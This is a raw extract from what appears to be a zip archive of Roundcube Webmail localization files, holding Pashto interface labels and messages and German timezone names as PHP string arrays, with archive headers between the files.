$labels['markunread'] = 'د نالوستل شوي په توګه';
$labels['markflagged'] = 'د بي کاره په توګه';
$labels['markunflagged'] = 'د کارونې په توګه';
$labels['select'] = 'ټاکل';
$labels['all'] = 'ټول';
$labels['none'] = 'هېڅ';
$labels['unread'] = 'نالوستي';
$labels['flagged'] = 'بې کاره';
$labels['unanswered'] = 'ناځواب شوي';
$labels['filter'] = 'چڼول';
$labels['nonesort'] = 'هېڅ';
$labels['compact'] = 'کېښکلی';
$labels['empty'] = 'تش';
$labels['quota'] = 'ټيکلي لارښود';
$labels['unknown'] = 'نامعلوم';
$labels['unlimited'] = 'بي کچه';
$labels['quicksearch'] = 'ژر پلټنه';
$labels['resetsearch'] = 'د پلټنې بياسمون';
$labels['openinextwin'] = 'په نوي کړکۍ کې پرانيزه';
$labels['sendmessage'] = 'اوس يې واستوه';
$labels['savemessage'] = 'دا ګارليک خوندي کړه';
$labels['addattachment'] = 'يو فايل ونښلوه';
$labels['charset'] = 'چيرست';
$labels['editortype'] = 'د ټايب سمونګر';
$labels['returnreceipt'] = 'د رسليک راګرځېدل';
$labels['checkspelling'] = 'ليکدود کتنه';
$labels['resumeediting'] = 'کارمخينې سمونه';
$labels['revertto'] = 'ته بېرته اړول';
$labels['attachments'] = 'نښلني';
$labels['upload'] = 'پورته کول';
$labels['close'] = 'بندول';
$labels['low'] = 'ټيټ';
$labels['lowest'] = 'خورا ټيټ';
$labels['normal'] = 'نورمال';
$labels['high'] = 'لوړ';
$labels['highest'] = 'خورا لوړ';
$labels['nosubject'] = 'هېڅ موضوع';
$labels['showimages'] = 'انځورونه وښيه';
$labels['alwaysshow'] = 'تل له $استوونکي څخه انځورونه وښيه';
$labels['htmltoggle'] = 'ايچ ټی ايمل ال';
$labels['plaintoggle'] = 'ساده متن';
$labels['savesentmessagein'] = 'استول شوي استوزه په خوندي کړه';
$labels['dontsave'] = 'مه ساته';
$labels['maxuploadsize'] = 'لږترلږه د اجازه شوي فايل کچه $وي';
$labels['addcc'] = 'څرګندليک';
$labels['addbcc'] = 'پټليک';
$labels['addreplyto'] = 'ته ورزيات کړه';
$labels['mdnrequest'] = 'ددې استوزي استوونکی پوښتي چېد استوزي لوستلو سره سم تاسې خبر کړي،.    غواړئ چې استوونکی خبرشي؟';
$labels['receiptread'] = 'رسليک راګرځېدل (لوستل';
$labels['yourmessage'] = 'دا رسليک راګرځېدل ستاسې استوزي لپاره دی';
$labels['receiptnote'] = 'يادونه: دا رسليک تاسې ته يوازې ددې خبرتيا درکوي چې کله استوزی د ترلاسه کوونکي په کمپيوټر کې څرګند شي،  ددې هيڅ ډاډګيرنه نشته چې ترلاسه کوونکي د  استوزي متن لوستی او يا پرې پوه شوی دی';
$labels['name'] = 'نوم ښوونه';
$labels['firstname'] = 'نوم';
$labels['surname'] = 'کورنی نوم';
$labels['email'] = 'برېښناليک';
$labels['editcontact'] = 'اړيکلوري سمون';
$labels['edit'] = 'سمون';
$labels['cancel'] = 'لري کول';
$labels['save'] = 'ساتل';
$labels['delete'] = 'ړنګول';
$labels['deletecontact'] = 'ټاکل شوي اړيکلوري ړنګ کړه';
$labels['composeto'] = 'ته ليک وليکه';
$labels['contactsfromto'] = 'له دومره اړيکلورو څخه دومره شمېرل شوي Contacts $from to $to of $count';
$labels['print'] = 'چاپ';
$labels['export'] = 'بهرول';
$labels['exportvcards'] = 'اړيکلوري د ويکارډ په بڼه واستوئ';
$labels['previouspage'] = 'پخوانی غونډ وښيه';
$labels['firstpage'] = 'لومړی غونډ وښيه';
$labels['nextpage'] = 'ورپسې غونډ وښيه';
$labels['lastpage'] = 'پای غونډ وښيه';
$labels['groups'] = 'ډلې';
$labels['personaladrbook'] = 'ځاني پتې';
$labels['import'] = 'رانقلول';
$labels['importcontacts'] = 'اړيکلوري نقل کړئ';
$labels['importreplace'] = 'ټول ادرس کتاب بدل کړئ';
$labels['done'] = 'ترسره شو';
$labels['settingsfor'] = 'لپاره برابرونې';
$labels['preferences'] = 'غورونې';
$labels['userpreferences'] = 'کارن غورونې';
$labels['editpreferences'] = 'د کارن غورونو سمون';
$labels['identities'] = 'پېژندنې';
$labels['preferhtml'] = 'ايچ ټي ام ايل ښوون';
$labels['htmlmessage'] = 'ايچ ټي ام ايل استوزه';
$labels['prettydate'] = 'په زړه پورې نېټې';
$labels['setdefault'] = 'تلوالي برابرول';
$labels['autodetect'] = 'په خپلواکه توګه';
$labels['language'] = 'ژبه';
$labels['timezone'] = 'سيميز وخت';
$labels['pagesize'] = 'په هر مخ پرتې کښې';
$labels['signature'] = 'لاسليک';
$labels['dstactive'] = 'ورځنيو کارونو لنډيز ساتل';
$labels['htmleditor'] = 'ايچ ټي‌ام ايل استوزي وليکه';
$labels['htmlsignature'] = 'ايچ ټي ام ايل لاسليک';
$labels['previewpane'] = 'پخوانی چوکاټ وښييه';
$labels['skin'] = 'انټرفيس بڼه';
$labels['logoutclear'] = 'کثافت داني د وتنې په وخت کې پاکه کړه';
$labels['logoutcompact'] = 'د وتنې په وخت کې ليکبکس ونښلوه';
$labels['uisettings'] = 'د کاروونکي برسېر';
$labels['serversettings'] = 'سرور برابرونې';
$labels['mailboxview'] = 'ليکبکس ښکار کړه';
$labels['mdnrequests'] = 'د استوونکي خبرتياوې';
$labels['askuser'] = 'له کاروونکي څخه وپوښته';
$labels['autosend'] = 'په خپلواکه توګه واستوه';
$labels['readwhendeleted'] = 'په ړنګ شوو کې استوزي د لوستل شوي  په توګه په نښه کړه';
$labels['flagfordeletion'] = 'استوزه د ړنګ شوي پرځای بېکاره کړه';
$labels['skipdeleted'] = 'ړنګ شوي استوزي مه ښکاره کوه';
$labels['showremoteimages'] = 'انځورونه له لري په ليکه کې ښکاره کړه';
$labels['fromknownsenders'] = 'له اشنا استوونکو څخه';
$labels['always'] = 'تل';
$labels['showinlineimages'] = 'نښلول شوي انځورونه تر استوزې لاندې ښکاره کړه';
$labels['autosavedraft'] = 'بارليک په خپل سري توګه  خوندي‌کړه';
$labels['everynminutes'] = 'هر ه ګڼه په دقيقو کې';
$labels['never'] = 'هېڅ';
$labels['messagesdisplaying'] = 'استوزي ښيي';
$labels['messagescomposition'] = 'استوزي ليکي';
$labels['mimeparamfolding'] = 'د نښلول شوو نومونه';
$labels['2231folding'] = 'بشپړ RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (نور)';
$labels['advancedoptions'] = 'پرمختللي لارې';
$labels['focusonnewmessage'] = 'فوکاس براوسر کړکۍ په نوي استوزي کې';
$labels['checkallfolders'] = 'په ټولو پوښيو کې نوي استوزي وګورئ';
$labels['folder'] = 'پوښۍ';
$labels['folders'] = 'پوښۍ';
$labels['foldername'] = 'پوښۍ نوم';
$labels['subscribed'] = 'ګډ شو';
$labels['messagecount'] = 'استوزي';
$labels['create'] = 'جوړول، رامنځ ته کول';
$labels['createfolder'] = 'نوې پوښۍ جوړ کړه';
$labels['managefolders'] = 'پوښيو څارل';
$labels['specialfolders'] = 'ځانګړي پوښۍۍ';
$labels['sortby'] = 'اڼل';
$labels['sortasc'] = 'له پورته نه ښکته خوا ته برابرول';
$labels['sortdesc'] = 'له ښکته نه پورته خوا ته برابرول';
$labels['B'] = 'بي';
$labels['KB'] = 'کي بي';
$labels['MB'] = 'ام بي';
$labels['GB'] = 'جي بي';
PK
h�\P��̶�$program/localization/ps/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['loginfailed']  = 'ننوتنه په بري سره ترسره نه شوه';
$messages['cookiesdisabled'] = 'ستاسو لټوني ککوړي ونه منل';
$messages['sessionerror'] = 'ستاسې ناسته ناباوري يا له مينځه تللې ده';
$messages['storageerror'] = 'له ای ميپ سرور سره پيوستون په بري سره ترسره نه شو';
$messages['nomessagesfound'] = 'ليکبکس کې هېڅ استوزي ونه مونده';
$messages['loading'] = 'د کار په حال کې';
$messages['loadingdata'] = 'اومتوک د کار په حال کې';
$messages['checkingmail'] = 'نوي استوزي ګوري';
$messages['sendingmessage'] = 'استوزه استوي.';
$messages['messagesent'] = 'استوزه په بري سره واستول شوه';
$messages['savingmessage'] = 'استوزه خوندي کوي';
$messages['messagesaved'] = 'استوزه په بارليک کې خوندي شوه';
$messages['successfullysaved'] = 'په بري‌سره خوندي شوه';
$messages['addedsuccessfully'] = 'اړيکلوری په بري سره پتې کتاب ته ور زيات شو';
$messages['blockedimages'] = 'ستاسو د پټتيآ خوندي کېدو لپاره ، له لري انځورنه په دې استوزي‌کې بند کړئ';
$messages['encryptedmessage'] = 'دا يوه پټه استوزه ده او نه څرګندېږي. بښنه غواړو';
$messages['nocontactsfound'] = 'هېڅ اړيکلوری يې ونه موند';
$messages['contactnotfound'] = 'وړاندی شوی اړيکلوری ونه مونده';
$messages['sendingfailed'] = 'استوزي استونه په بري سره پای ته ونه رسېده';
$messages['senttooquickly'] = 'مهرباني وکړئ $صبر وکړئ د دې استوزې له لېږلو مخکې';
$messages['errormoving'] = 'استوزه ونه خوځول شوه';
$messages['errordeleting'] = 'استوزه ړنګه نه شوه';
$messages['deletecontactconfirm']  = 'په رښتيا سره غواړئ چې ټاکل شوی اړيکلوری ړنګ کړئ؟';
$messages['deletemessagesconfirm'] = 'په رښتيا سره غواړئ چې ټاکل شوي استوزي‌ړنګ کړئ؟';
$messages['deletefolderconfirm']  = 'په رښتيآ سره غواړئ چې دا پوښۍ ړنګه کړئ؟';
$messages['purgefolderconfirm']  = 'په رښتيا سره غواړئ چې ددې پوښۍ ټول استوزي‌ړنګ کړئ؟';
$messages['folderdeleting'] = 'پوښۍ ړنګوي';
$messages['foldermoving'] = 'پوښۍ خوځوي';
$messages['formincomplete'] = 'دا پورمه بشپړه ډکه شوې نه ده';
$messages['noemailwarning'] = 'مهرباني وکړئ د يوه شته برېښناليک پته ورځای کړئ';
$messages['nonamewarning']  = 'مهرباني‌وکړئ يو نوم وليکئ';
$messages['nopagesizewarning'] = 'مهرباني‌وکړئ د پاڼې کچه ورکړئ';
$messages['norecipientwarning'] = 'مهرباني‌وکړئ لږ تر لږه يو ترلاسه کوونکی وليکئ';
$messages['nosubjectwarning']  = 'د مضمون ډګر تش دی يا تاسو غواړئ چې همدا اوس يو له هغو څخه وليکئ';
$messages['nobodywarning'] = 'دا استوزه پرته له متن څخه استوئ؟';
$messages['nosearchname'] = 'مهرباني وکړئ  د يو اړيکلوري‌نوم يا برېښناليک پته وليکئ';
$messages['searchsuccessful'] = 'استوزي ومونده$';
$messages['searchnomatch'] = 'د پلټلو بيا راګرځېدل هېڅ سمون ونه خوړه';
$messages['searching'] = 'پلټي';
$messages['checking'] = 'ګوري';
$messages['nospellerrors'] = 'هېڅ ليکدودي‌تيروتنه ونه مونده';
$messages['folderdeleted'] = 'پوښۍ په بشپړه توګه ړنګه شوه';
$messages['deletedsuccessfully'] = 'په بشپړه توګه ړنګ شول';
$messages['converting'] = 'له استوزي څخه بڼې ړنګېږي';
$messages['messageopenerror'] = 'له سرور څخه استوزي پرمخ نه شي تلی';
$messages['fileuploaderror'] = 'دفايل پورته کول په بري سره سرته ونه رسيده';
$messages['filesizeerror'] = 'د پورته شوي فايل کچه بايد لږترلږه له $څخه تيری ونه کړي';
$messages['sourceisreadonly'] = 'ددې پتې يوازې سرچينه لوستل کېږي';
$messages['errorsavingcontact'] = 'د پتې اړيکلوری يې خوندي‌نه شو کړای';
$messages['movingmessage'] = 'استوزه خوځوي';
$messages['receiptsent'] = 'يو لوستل شوی رسليک په بشپړه توګه واستول شو';
$messages['errorsendingreceipt'] = 'رسليک يې ونه شوای ليږلی';
$messages['nodeletelastidentity'] = 'تاسې نه شئ کولی چې دا پېژندنه ړنګه کړئ، داستاسو اخرنی پيژندنه ده';
$messages['forbiddencharacter'] = 'د پوښۍ نوم له فوربايډن تورو څخه جوړ دی';
$messages['selectimportfile'] = 'مهرباني وکړئ‌يو فايل د پورته کولو لپاره وټاکئ';
$messages['addresswriterror'] = 'ټاکل شوی پتې کتاب د بياليکلو نه دی';
$messages['importwait'] = 'نقلوي...صبر وکړئ';
$messages['importconfirm'] = '<b>په بشپړه توګه نقل شو $اړيکلوري داخل شول, $شته تيرشوي انټاير څخه تيرشول</b>:<p><em>$نومونه</em></p>';
$messages['opnotpermitted'] = 'چار اجازه نه لري';
PK
h�\x�݇�N�N(program/localization/de_DE/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Algier';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Daressalam';
$labels['tz:africa:djibouti'] = 'Dschibuti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadischu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nuakschott';
$labels['tz:africa:ouagadougou'] = 'Wagadugu';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhuk';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentinien';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Kaiman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havanna';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaika';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexiko-Stadt';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Nord-Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktis';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arktis';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asien';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Aschgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bischkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damaskus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hongkong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamtschatka';
$labels['tz:asia:karachi'] = 'Karatschi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kalkutta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnojarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makasar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Maskat';
$labels['tz:asia:nicosia'] = 'Nikosia';
$labels['tz:asia:novokuznetsk'] = 'Nowokusnezk';
$labels['tz:asia:novosibirsk'] = 'Nowosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontinak';
$labels['tz:asia:pyongyang'] = 'Pjöngjang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qysylorda';
$labels['tz:asia:riyadh'] = 'Riad';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Schanghai';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipeh';
$labels['tz:asia:tashkent'] = 'Taschkent';
$labels['tz:asia:tbilisi'] = 'Tiflis';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Wladiwostok';
$labels['tz:asia:yakutsk'] = 'Jakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Jekaterinburg';
$labels['tz:asia:yerevan'] = 'Jerewan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azoren';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanaren';
$labels['tz:atlantic:cape_verde'] = 'Kap Verde';
$labels['tz:atlantic:faroe'] = 'Färöer';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavík';
$labels['tz:atlantic:south_georgia'] = 'Südgeorgien';
$labels['tz:atlantic:st_helena'] = 'St. Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australien';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
